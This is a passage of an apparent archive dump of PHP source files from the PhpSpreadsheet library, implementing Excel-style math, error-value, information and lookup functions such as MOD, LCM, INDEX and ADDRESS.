array, defaults to 1 * * @return array|string The resulting array, or a string containing an error */ public static function sequence(mixed $rows = 1, mixed $columns = 1, mixed $start = 1, mixed $step = 1): string|array { try { $rows = (int) Helpers::validateNumericNullSubstitution($rows, 1); Helpers::validatePositive($rows); $columns = (int) Helpers::validateNumericNullSubstitution($columns, 1); Helpers::validatePositive($columns); $start = Helpers::validateNumericNullSubstitution($start, 1); $step = Helpers::validateNumericNullSubstitution($step, 1); } catch (Exception $e) { return $e->getMessage(); } if ($step === 0) { return array_chunk( array_fill(0, $rows * $columns, $start), max($columns, 1) ); } return array_chunk( range($start, $start + (($rows * $columns - 1) * $step), $step), max($columns, 1) ); } /** * MDETERM. * * Returns the matrix determinant of an array. * * Excel Function: * MDETERM(array) * * @param mixed $matrixValues A matrix of values * * @return float|string The result, or a string containing an error */ public static function determinant(mixed $matrixValues) { try { $matrix = self::getMatrix($matrixValues); return $matrix->determinant(); } catch (MatrixException) { return ExcelError::VALUE(); } catch (Exception $e) { return $e->getMessage(); } } /** * MINVERSE. * * Returns the inverse matrix for the matrix stored in an array. * * Excel Function: * MINVERSE(array) * * @param mixed $matrixValues A matrix of values * * @return array|string The result, or a string containing an error */ public static function inverse(mixed $matrixValues): array|string { try { $matrix = self::getMatrix($matrixValues); return $matrix->inverse()->toArray(); } catch (MatrixDiv0Exception) { return ExcelError::NAN(); } catch (MatrixException) { return ExcelError::VALUE(); } catch (Exception $e) { return $e->getMessage(); } } /** * MMULT. * * @param mixed $matrixData1 A matrix of values * @param mixed $matrixData2 A matrix of values * * @return array|string The result, or a string containing an error */ public static function multiply(mixed $matrixData1, mixed $matrixData2): array|string { try { $matrixA = self::getMatrix($matrixData1); $matrixB = self::getMatrix($matrixData2); return $matrixA->multiply($matrixB)->toArray(); } catch (MatrixException) { return ExcelError::VALUE(); } catch (Exception $e) { return $e->getMessage(); } } /** * MUnit. * * @param mixed $dimension Number of rows and columns * * @return array|string The result, or a string containing an error */ public static function identity(mixed $dimension) { try { $dimension = (int) Helpers::validateNumericNullBool($dimension); Helpers::validatePositive($dimension, ExcelError::VALUE()); $matrix = Builder::createIdentityMatrix($dimension, 0)->toArray(); return $matrix; } catch (Exception $e) { return $e->getMessage(); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Operations.php000064400000011627151676714400024067 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Operations { use ArrayEnabled; /** * MOD. * * @param mixed $dividend Dividend * Or can be an array of values * @param mixed $divisor Divisor * Or can be an array of values * * @return array|float|string Remainder, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function mod(mixed $dividend, mixed $divisor): array|string|float { if (is_array($dividend) || is_array($divisor)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $dividend, $divisor); } try { $dividend = Helpers::validateNumericNullBool($dividend); $divisor = Helpers::validateNumericNullBool($divisor); Helpers::validateNotZero($divisor); } catch (Exception $e) { return $e->getMessage(); } if (($dividend < 0.0) && ($divisor > 0.0)) { return $divisor - fmod(abs($dividend), $divisor); } if (($dividend > 0.0) && ($divisor < 0.0)) { return $divisor + fmod($dividend, abs($divisor)); } return fmod($dividend, $divisor); } /** * POWER. * * Computes x raised to the power y. * * @param array|float|int|string $x Or can be an array of values * @param array|float|int|string $y Or can be an array of values * * @return array|float|int|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function power(array|float|int|string $x, array|float|int|string $y): array|float|int|string { if (is_array($x) || is_array($y)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $x, $y); } try { $x = Helpers::validateNumericNullBool($x); $y = Helpers::validateNumericNullBool($y); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if (!$x && !$y) { return ExcelError::NAN(); } if (!$x && $y < 0.0) { return ExcelError::DIV0(); } // Return $result = $x ** $y; return Helpers::numberOrNan($result); } /** * PRODUCT. * * PRODUCT returns the product of all the values and cells referenced in the argument list. * * Excel Function: * PRODUCT(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function product(mixed ...$args): string|float { $args = array_filter( Functions::flattenArray($args), fn ($value): bool => $value !== null ); // Return value $returnValue = (count($args) === 0) ? 0.0 : 1.0; // Loop through arguments foreach ($args as $arg) { // Is it a numeric value? if (is_numeric($arg)) { $returnValue *= $arg; } else { return ExcelError::throwError($arg); } } return (float) $returnValue; } /** * QUOTIENT. * * QUOTIENT function returns the integer portion of a division. Numerator is the divided number * and denominator is the divisor. * * Excel Function: * QUOTIENT(value1,value2) * * @param mixed $numerator Expect float|int * Or can be an array of values * @param mixed $denominator Expect float|int * Or can be an array of values * * @return array|int|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function quotient(mixed $numerator, mixed $denominator): array|string|int { if (is_array($numerator) || is_array($denominator)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $numerator, $denominator); } try { $numerator = Helpers::validateNumericNullSubstitution($numerator, 0); $denominator = Helpers::validateNumericNullSubstitution($denominator, 0); Helpers::validateNotZero($denominator); } catch (Exception $e) { return $e->getMessage(); } return (int) ($numerator / $denominator); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Lcm.php000064400000007144151676714400022456 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Lcm { // // Private method to return an array of the factors of the input value // private static function factors(float $value): array { $startVal = floor(sqrt($value)); $factorArray = []; for ($i = $startVal; $i > 1; --$i) { if (($value % $i) == 0) { $factorArray = array_merge($factorArray, self::factors($value / $i)); $factorArray = array_merge($factorArray, self::factors($i)); if ($i <= sqrt($value)) { break; } } } if (!empty($factorArray)) { rsort($factorArray); return $factorArray; } return [(int) $value]; } /** * LCM. * * Returns the lowest common multiplier of a series of numbers * The least common multiple is the smallest positive integer that is a multiple * of all integer arguments number1, number2, and so on. Use LCM to add fractions * with different denominators. * * Excel Function: * LCM(number1[,number2[, ...]]) * * @param mixed ...$args Data values * * @return int|string Lowest Common Multiplier, or a string containing an error */ public static function evaluate(mixed ...$args): int|string { try { $arrayArgs = []; $anyZeros = 0; $anyNonNulls = 0; foreach (Functions::flattenArray($args) as $value1) { $anyNonNulls += (int) ($value1 !== null); $value = Helpers::validateNumericNullSubstitution($value1, 1); Helpers::validateNotNegative($value); $arrayArgs[] = (int) $value; $anyZeros += (int) !((bool) $value); } self::testNonNulls($anyNonNulls); if ($anyZeros) { return 0; } } catch (Exception $e) { return $e->getMessage(); } $returnValue = 1; $allPoweredFactors = []; // Loop through arguments foreach ($arrayArgs as $value) { $myFactors = self::factors(floor($value)); $myCountedFactors = array_count_values($myFactors); $myPoweredFactors = []; foreach ($myCountedFactors as $myCountedFactor => $myCountedPower) { $myPoweredFactors[$myCountedFactor] = $myCountedFactor ** $myCountedPower; } self::processPoweredFactors($allPoweredFactors, $myPoweredFactors); } foreach ($allPoweredFactors as $allPoweredFactor) { $returnValue *= (int) $allPoweredFactor; } return $returnValue; } private static function processPoweredFactors(array &$allPoweredFactors, array &$myPoweredFactors): void { foreach ($myPoweredFactors as $myPoweredValue => $myPoweredFactor) { if (isset($allPoweredFactors[$myPoweredValue])) { if ($allPoweredFactors[$myPoweredValue] < $myPoweredFactor) { $allPoweredFactors[$myPoweredValue] = $myPoweredFactor; } } else { $allPoweredFactors[$myPoweredValue] = $myPoweredFactor; } } } private static function testNonNulls(int $anyNonNulls): void { if (!$anyNonNulls) { throw new Exception(ExcelError::VALUE()); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Information/ExcelError.php000064400000006160151676714400024560 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Information; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; class ExcelError { use ArrayEnabled; /** * List of error codes. * * @var array<string, string> */ public const ERROR_CODES = [ 'null' => '#NULL!', // 1 'divisionbyzero' => '#DIV/0!', // 2 'value' => '#VALUE!', // 3 'reference' => '#REF!', // 4 'name' => '#NAME?', // 5 'num' => '#NUM!', // 6 'na' => '#N/A', // 7 'gettingdata' => '#GETTING_DATA', // 8 'spill' => '#SPILL!', // 9 'connect' => '#CONNECT!', //10 'blocked' => '#BLOCKED!', //11 'unknown' => '#UNKNOWN!', //12 'field' => '#FIELD!', //13 'calculation' => '#CALC!', //14 ]; public static function throwError(mixed $value): string { return in_array($value, self::ERROR_CODES, true) ? $value : self::ERROR_CODES['value']; } /** * ERROR_TYPE. * * @param mixed $value Value to check */ public static function type(mixed $value = ''): array|int|string { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } $i = 1; foreach (self::ERROR_CODES as $errorCode) { if ($value === $errorCode) { return $i; } ++$i; } return self::NA(); } /** * NULL. * * Returns the error value #NULL! * * @return string #NULL! */ public static function null(): string { return self::ERROR_CODES['null']; } /** * NaN. * * Returns the error value #NUM! * * @return string #NUM! */ public static function NAN(): string { return self::ERROR_CODES['num']; } /** * REF. * * Returns the error value #REF! * * @return string #REF! */ public static function REF(): string { return self::ERROR_CODES['reference']; } /** * NA. * * Excel Function: * =NA() * * Returns the error value #N/A * #N/A is the error value that means "no value is available." * * @return string #N/A! */ public static function NA(): string { return self::ERROR_CODES['na']; } /** * VALUE. * * Returns the error value #VALUE! * * @return string #VALUE! */ public static function VALUE(): string { return self::ERROR_CODES['value']; } /** * NAME. * * Returns the error value #NAME? * * @return string #NAME? */ public static function NAME(): string { return self::ERROR_CODES['name']; } /** * DIV0. * * @return string #DIV/0! */ public static function DIV0(): string { return self::ERROR_CODES['divisionbyzero']; } /** * CALC. * * @return string #CALC! */ public static function CALC(): string { return self::ERROR_CODES['calculation']; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Information/ErrorValue.php000064400000003665151676714400024603 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Information; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; class ErrorValue { use ArrayEnabled; /** * IS_ERR. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isErr(mixed $value = ''): array|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } return self::isError($value) && (!self::isNa(($value))); } /** * IS_ERROR. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isError(mixed $value = ''): array|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } if (!is_string($value)) { return false; } return in_array($value, ExcelError::ERROR_CODES, true); } /** * IS_NA. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isNa(mixed $value = ''): array|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } return $value === ExcelError::NA(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Information/Value.php000064400000023605151676714400023565 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Information; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\NamedRange; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Value { use ArrayEnabled; /** * IS_BLANK. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isBlank(mixed $value = null): array|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } return $value === null; } /** * IS_REF. * * @param mixed $value Value to check */ public static function isRef(mixed $value, ?Cell $cell = null): bool { if ($cell === null || $value === $cell->getCoordinate()) { return false; } $cellValue = Functions::trimTrailingRange($value); if (preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF . '$/ui', $cellValue) === 1) { [$worksheet, $cellValue] = Worksheet::extractSheetTitle($cellValue, true); if (!empty($worksheet) && $cell->getWorksheet()->getParentOrThrow()->getSheetByName($worksheet) === null) { return false; } [$column, $row] = Coordinate::indexesFromString($cellValue ?? ''); if ($column > 16384 || $row > 1048576) { return false; } return true; } $namedRange = $cell->getWorksheet()->getParentOrThrow()->getNamedRange($value); return $namedRange instanceof NamedRange; } /** * IS_EVEN. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isEven(mixed $value = null): array|string|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } if ($value === null) { return ExcelError::NAME(); } elseif ((is_bool($value)) || ((is_string($value)) && (!is_numeric($value)))) { return ExcelError::VALUE(); } return ((int) fmod($value, 2)) === 0; } /** * IS_ODD. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isOdd(mixed $value = null): array|string|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } if ($value === null) { return ExcelError::NAME(); } elseif ((is_bool($value)) || ((is_string($value)) && (!is_numeric($value)))) { return ExcelError::VALUE(); } return ((int) fmod($value, 2)) !== 0; } /** * IS_NUMBER. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isNumber(mixed $value = null): array|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } if (is_string($value)) { return false; } return is_numeric($value); } /** * IS_LOGICAL. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isLogical(mixed $value = null): array|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } return is_bool($value); } /** * IS_TEXT. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isText(mixed $value = null): array|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } return is_string($value) && !ErrorValue::isError($value); } /** * IS_NONTEXT. * * @param mixed $value Value to check * Or can be an array of values * * @return array|bool If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function isNonText(mixed $value = null): array|bool { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } return !self::isText($value); } /** * ISFORMULA. * * @param mixed $cellReference The cell to check * @param ?Cell $cell The current cell (containing this formula) */ public static function isFormula(mixed $cellReference = '', ?Cell $cell = null): array|bool|string { if ($cell === null) { return ExcelError::REF(); } $fullCellReference = Functions::expandDefinedName((string) $cellReference, $cell); if (str_contains($cellReference, '!')) { $cellReference = Functions::trimSheetFromCellReference($cellReference); $cellReferences = Coordinate::extractAllCellReferencesInRange($cellReference); if (count($cellReferences) > 1) { return self::evaluateArrayArgumentsSubset([self::class, __FUNCTION__], 1, $cellReferences, $cell); } } $fullCellReference = Functions::trimTrailingRange($fullCellReference); preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF . '$/i', $fullCellReference, $matches); $fullCellReference = $matches[6] . $matches[7]; $worksheetName = str_replace("''", "'", trim($matches[2], "'")); $worksheet = (!empty($worksheetName)) ? $cell->getWorksheet()->getParentOrThrow()->getSheetByName($worksheetName) : $cell->getWorksheet(); return ($worksheet !== null) ? $worksheet->getCell($fullCellReference)->isFormula() : ExcelError::REF(); } /** * N. * * Returns a value converted to a number * * @param null|mixed $value The value you want converted * * @return number|string N converts values listed in the following table * If value is or refers to N returns * A number That number value * A date The Excel serialized number of that date * TRUE 1 * FALSE 0 * An error value The error value * Anything else 0 */ public static function asNumber($value = null) { while (is_array($value)) { $value = array_shift($value); } switch (gettype($value)) { case 'double': case 'float': case 'integer': return $value; case 'boolean': return (int) $value; case 'string': // Errors if (($value !== '') && ($value[0] == '#')) { return $value; } break; } return 0; } /** * TYPE. * * Returns a number that identifies the type of a value * * @param null|mixed $value The value you want tested * * @return int N converts values listed in the following table * If value is or refers to N returns * A number 1 * Text 2 * Logical Value 4 * An error value 16 * Array or Matrix 64 */ public static function type($value = null): int { $value = Functions::flattenArrayIndexed($value); if (is_array($value) && (count($value) > 1)) { end($value); $a = key($value); // Range of cells is an error if (Functions::isCellValue($a)) { return 16; // Test for Matrix } elseif (Functions::isMatrixValue($a)) { return 64; } } elseif (empty($value)) { // Empty Cell return 1; } $value = Functions::flattenSingleValue($value); if (($value === null) || (is_float($value)) || (is_int($value))) { return 1; } elseif (is_bool($value)) { return 4; } elseif (is_array($value)) { return 64; } elseif (is_string($value)) { // Errors if (($value !== '') && ($value[0] == '#')) { return 16; } return 2; } return 0; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/LookupRefValidations.php000064400000001610151676714400026226 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class LookupRefValidations { public static function validateInt(mixed $value): int { if (!is_numeric($value)) { if (ErrorValue::isError($value)) { throw new Exception($value); } throw new Exception(ExcelError::VALUE()); } return (int) floor((float) $value); } public static function validatePositiveInt(mixed $value, bool $allowZero = true): int { $value = self::validateInt($value); if (($allowZero === false && $value <= 0) || $value < 0) { throw new Exception(ExcelError::VALUE()); } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Hyperlink.php000064400000002555151676714400024100 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\Cell; class Hyperlink { /** * HYPERLINK. * * Excel Function: * =HYPERLINK(linkURL, [displayName]) * * @param mixed $linkURL Expect string. Value to check, is also the value returned when no error * @param mixed $displayName Expect string. Value to return when testValue is an error condition * @param ?Cell $cell The cell to set the hyperlink in * * @return string The value of $displayName (or $linkURL if $displayName was blank) */ public static function set(mixed $linkURL = '', mixed $displayName = null, ?Cell $cell = null): string { $linkURL = ($linkURL === null) ? '' : Functions::flattenSingleValue($linkURL); $displayName = ($displayName === null) ? '' : Functions::flattenSingleValue($displayName); if ((!is_object($cell)) || (trim($linkURL) == '')) { return ExcelError::REF(); } if ((is_object($displayName)) || trim($displayName) == '') { $displayName = $linkURL; } $cell->getHyperlink()->setUrl($linkURL); $cell->getHyperlink()->setTooltip($displayName); return $displayName; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Selection.php000064400000002766151676714400024064 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Selection { use ArrayEnabled; /** * CHOOSE. * * Uses lookup_value to return a value from the list of value arguments. * Use CHOOSE to select one of up to 254 values based on the lookup_value. * * Excel Function: * =CHOOSE(index_num, value1, [value2], ...) * * @param mixed $chosenEntry The entry to select from the list (indexed from 1) * @param mixed ...$chooseArgs Data values * * @return mixed The selected value */ public static function choose(mixed $chosenEntry, mixed ...$chooseArgs): mixed { if (is_array($chosenEntry)) { return self::evaluateArrayArgumentsSubset([self::class, __FUNCTION__], 1, $chosenEntry, ...$chooseArgs); } $entryCount = count($chooseArgs) - 1; if (is_numeric($chosenEntry)) { --$chosenEntry; } else { return ExcelError::VALUE(); } $chosenEntry = floor($chosenEntry); if (($chosenEntry < 0) || ($chosenEntry > $entryCount)) { return ExcelError::VALUE(); } if (is_array($chooseArgs[$chosenEntry])) { return Functions::flattenArray($chooseArgs[$chosenEntry]); } return $chooseArgs[$chosenEntry]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/LookupBase.php000064400000004312151676714400024170 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; abstract class LookupBase { protected static function validateLookupArray(mixed $lookup_array): void { if (!is_array($lookup_array)) { throw new Exception(ExcelError::REF()); } } /** @param float|int|string $index_number */ protected static function validateIndexLookup(array $lookup_array, $index_number): int { // index_number must be a number greater than or equal to 1. // Excel results are inconsistent when index is non-numeric. // VLOOKUP(whatever, whatever, SQRT(-1)) yields NUM error, but // VLOOKUP(whatever, whatever, cellref) yields REF error // when cellref is '=SQRT(-1)'. So just try our best here. // Similar results if string (literal yields VALUE, cellRef REF). if (!is_numeric($index_number)) { throw new Exception(ExcelError::throwError($index_number)); } if ($index_number < 1) { throw new Exception(ExcelError::VALUE()); } // index_number must be less than or equal to the number of columns in lookup_array if (empty($lookup_array)) { throw new Exception(ExcelError::REF()); } return (int) $index_number; } protected static function checkMatch( bool $bothNumeric, bool $bothNotNumeric, bool $notExactMatch, int $rowKey, string $cellDataLower, string $lookupLower, ?int $rowNumber ): ?int { // remember the last key, but only if datatypes match if ($bothNumeric || $bothNotNumeric) { // Spreadsheets software returns first exact match, // we have sorted and we might have broken key orders // we want the first one (by its initial index) if ($notExactMatch) { $rowNumber = $rowKey; } elseif (($cellDataLower == $lookupLower) && (($rowNumber === null) || ($rowKey < $rowNumber))) { $rowNumber = $rowKey; } } return $rowNumber; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Matrix.php000064400000010415151676714400023371 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Matrix { use ArrayEnabled; /** * Helper function; NOT an implementation of any Excel Function. */ public static function isColumnVector(array $values): bool { return count($values, COUNT_RECURSIVE) === (count($values, COUNT_NORMAL) * 2); } /** * Helper function; NOT an implementation of any Excel Function. */ public static function isRowVector(array $values): bool { return count($values, COUNT_RECURSIVE) > 1 && (count($values, COUNT_NORMAL) === 1 || count($values, COUNT_RECURSIVE) === count($values, COUNT_NORMAL)); } /** * TRANSPOSE. * * @param array|mixed $matrixData A matrix of values */ public static function transpose($matrixData): array { $returnMatrix = []; if (!is_array($matrixData)) { $matrixData = [[$matrixData]]; } $column = 0; foreach ($matrixData as $matrixRow) { $row = 0; foreach ($matrixRow as $matrixCell) { $returnMatrix[$row][$column] = $matrixCell; ++$row; } ++$column; } return $returnMatrix; } /** * INDEX. * * Uses an index to choose a value from a reference or array * * Excel Function: * =INDEX(range_array, row_num, [column_num], [area_num]) * * @param mixed $matrix A range of cells or an array constant * @param mixed $rowNum The row in the array or range from which to return a value. * If row_num is omitted, column_num is required. * Or can be an array of values * @param mixed $columnNum The column in the array or range from which to return a value. * If column_num is omitted, row_num is required. * Or can be an array of values * * TODO Provide support for area_num, currently not supported * * @return mixed the value of a specified cell or array of cells * If an array of values is passed as the $rowNum and/or $columnNum arguments, then the returned result * will also be an array with the same dimensions */ public static function index(mixed $matrix, mixed $rowNum = 0, mixed $columnNum = null): mixed { if (is_array($rowNum) || is_array($columnNum)) { return self::evaluateArrayArgumentsSubsetFrom([self::class, __FUNCTION__], 1, $matrix, $rowNum, $columnNum); } $rowNum = $rowNum ?? 0; $originalColumnNum = $columnNum; $columnNum = $columnNum ?? 0; try { $rowNum = LookupRefValidations::validatePositiveInt($rowNum); $columnNum = LookupRefValidations::validatePositiveInt($columnNum); } catch (Exception $e) { return $e->getMessage(); } if (!is_array($matrix) || ($rowNum > count($matrix))) { return ExcelError::REF(); } $rowKeys = array_keys($matrix); $columnKeys = @array_keys($matrix[$rowKeys[0]]); if ($columnNum > count($columnKeys)) { return ExcelError::REF(); } if ($originalColumnNum === null && 1 < count($columnKeys)) { return ExcelError::REF(); } if ($columnNum === 0) { return self::extractRowValue($matrix, $rowKeys, $rowNum); } $columnNum = $columnKeys[--$columnNum]; if ($rowNum === 0) { return array_map( fn ($value): array => [$value], array_column($matrix, $columnNum) ); } $rowNum = $rowKeys[--$rowNum]; return $matrix[$rowNum][$columnNum]; } private static function extractRowValue(array $matrix, array $rowKeys, int $rowNum): mixed { if ($rowNum === 0) { return $matrix; } $rowNum = $rowKeys[--$rowNum]; $row = $matrix[$rowNum]; if (is_array($row)) { return [$rowNum => $row]; } return $row; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Address.php000064400000011326151676714400023514 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\AddressHelper; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; class Address { use ArrayEnabled; public const ADDRESS_ABSOLUTE = 1; public const ADDRESS_COLUMN_RELATIVE = 2; public const ADDRESS_ROW_RELATIVE = 3; public const ADDRESS_RELATIVE = 4; public const REFERENCE_STYLE_A1 = true; public const REFERENCE_STYLE_R1C1 = false; /** * ADDRESS. * * Creates a cell address as text, given specified row and column numbers. * * Excel Function: * =ADDRESS(row, column, [relativity], [referenceStyle], [sheetText]) * * @param mixed $row Row number (integer) to use in the cell reference * Or can be an array of values * @param mixed $column Column number (integer) to use in the cell reference * Or can be an array of values * @param mixed $relativity Integer flag indicating the type of reference to return * 1 or omitted Absolute * 2 Absolute row; relative column * 3 Relative row; absolute column * 4 Relative * Or can be an array of values * @param mixed $referenceStyle A logical (boolean) value that specifies the A1 or R1C1 reference style. * TRUE or omitted ADDRESS returns an A1-style reference * FALSE ADDRESS returns an R1C1-style reference * Or can be an array of values * @param mixed $sheetName Optional Name of worksheet to use * Or can be an array of values * * @return array|string If an array of values is passed as the $testValue argument, then the returned result will also be * an array with the same dimensions */ public static function cell(mixed $row, mixed $column, mixed $relativity = 1, mixed $referenceStyle = true, mixed $sheetName = ''): array|string { if ( is_array($row) || is_array($column) || is_array($relativity) || is_array($referenceStyle) || is_array($sheetName) ) { return self::evaluateArrayArguments( [self::class, __FUNCTION__], $row, $column, $relativity, $referenceStyle, $sheetName ); } $relativity = $relativity ?? 1; $referenceStyle = $referenceStyle ?? true; if (($row < 1) || ($column < 1)) { return ExcelError::VALUE(); } $sheetName = self::sheetName($sheetName); if (is_int($referenceStyle)) { $referenceStyle = (bool) $referenceStyle; } if ((!is_bool($referenceStyle)) || $referenceStyle === self::REFERENCE_STYLE_A1) { return self::formatAsA1($row, $column, $relativity, $sheetName); } return self::formatAsR1C1($row, $column, $relativity, $sheetName); } private static function sheetName(string $sheetName): string { if ($sheetName > '') { if (str_contains($sheetName, ' ') || str_contains($sheetName, '[')) { $sheetName = "'{$sheetName}'"; } $sheetName .= '!'; } return $sheetName; } private static function formatAsA1(int $row, int $column, int $relativity, string $sheetName): string { $rowRelative = $columnRelative = '$'; if (($relativity == self::ADDRESS_COLUMN_RELATIVE) || ($relativity == self::ADDRESS_RELATIVE)) { $columnRelative = ''; } if (($relativity == self::ADDRESS_ROW_RELATIVE) || ($relativity == self::ADDRESS_RELATIVE)) { $rowRelative = ''; } $column = Coordinate::stringFromColumnIndex($column); return "{$sheetName}{$columnRelative}{$column}{$rowRelative}{$row}"; } private static function formatAsR1C1(int $row, int $column, int $relativity, string $sheetName): string { if (($relativity == self::ADDRESS_COLUMN_RELATIVE) || ($relativity == self::ADDRESS_RELATIVE)) { $column = "[{$column}]"; } if (($relativity == self::ADDRESS_ROW_RELATIVE) || ($relativity == self::ADDRESS_RELATIVE)) { $row = "[{$row}]"; } [$rowChar, $colChar] = AddressHelper::getRowAndColumnChars(); return "{$sheetName}$rowChar{$row}$colChar{$column}"; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/RowColumnInformation.php000064400000016275151676714400026272 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class RowColumnInformation { /** * Test if cellAddress is null or whitespace string. * * @param null|array|string $cellAddress A reference to a range of cells */ private static function cellAddressNullOrWhitespace($cellAddress): bool { return $cellAddress === null || (!is_array($cellAddress) && trim($cellAddress) === ''); } private static function cellColumn(?Cell $cell): int { return ($cell !== null) ? Coordinate::columnIndexFromString($cell->getColumn()) : 1; } /** * COLUMN. * * Returns the column number of the given cell reference * If the cell reference is a range of cells, COLUMN returns the column numbers of each column * in the reference as a horizontal array. 